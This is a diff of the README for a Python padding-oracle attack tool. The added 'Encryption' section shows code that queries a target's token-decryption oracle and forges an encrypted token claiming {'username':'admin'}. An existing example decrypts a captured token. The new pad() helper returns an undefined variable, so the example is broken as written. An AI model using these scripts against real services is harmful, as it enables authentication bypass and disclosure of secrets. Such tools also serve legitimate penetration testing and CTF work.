|
| 1 | + |
1 | 2 | # Padding Oracle Python Automation Script
|
2 | 3 |
|
3 | 4 | 
|
@@ -30,7 +31,7 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
|
30 | 31 | | 64 | 56s |
|
31 | 32 |
|
32 | 33 | ## How to Use
|
33 |
| - |
| 34 | +### Decryption |
34 | 35 | To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
|
35 | 36 |
|
36 | 37 | ```python
|
@@ -63,6 +64,42 @@ plaintext = padding_oracle(
|
63 | 64 | num_threads = 16,
|
64 | 65 | )
|
65 | 66 | ```
|
| 67 | +### Encryption |
| 68 | +To illustrate the usage, consider an example of forging a token for`https://vulnerable.website/api/?token=<.....>`: |
| 69 | + |
| 70 | +```python |
| 71 | +from padding_oracle import padding_oracle, base64_encode, base64_decode |
| 72 | +import requests |
| 73 | + |
| 74 | +sess = requests.Session() # use connection pool |
| 75 | +url = 'https://vulnerable.website/api/' |
| 76 | + |
| 77 | +def oracle(ciphertext: bytes): |
| 78 | + resp = sess.get(url, params={'token': base64_encode(ciphertext)}) |
| 79 | + |
| 80 | + if 'failed' in resp.text: |
| 81 | + return False # e.g. token decryption failed |
| 82 | + elif 'success' in resp.text: |
| 83 | + return True |
| 84 | + else: |
| 85 | + raise RuntimeError('unexpected behavior') |
| 86 | + |
| 87 | +def pad(data: bytes, block_size=16): |
| 88 | + pad_value = block_size - len(data) % block_size |
| 89 | + return text + bytearray([pad_value for i in range(pad_value)]) |
| 90 | + |
| 91 | +payload: bytes =b"{'username':'admin'}" |
| 92 | +payload = pad(payload) |
| 93 | +assert len(payload) % 16 == 0 |
| 94 | + |
| 95 | +ciphertext = padding_oracle( |
| 96 | + payload, |
| 97 | + block_size = 16, |
| 98 | + oracle = oracle, |
| 99 | + num_threads = 16, |
| 100 | + mode = 'encrypt' |
| 101 | +) |
| 102 | +``` |
66 | 103 |
|
67 | 104 | In addition, the package provides PHP-like encoding/decoding functions:
|
68 | 105 |
|
|
0 commit comments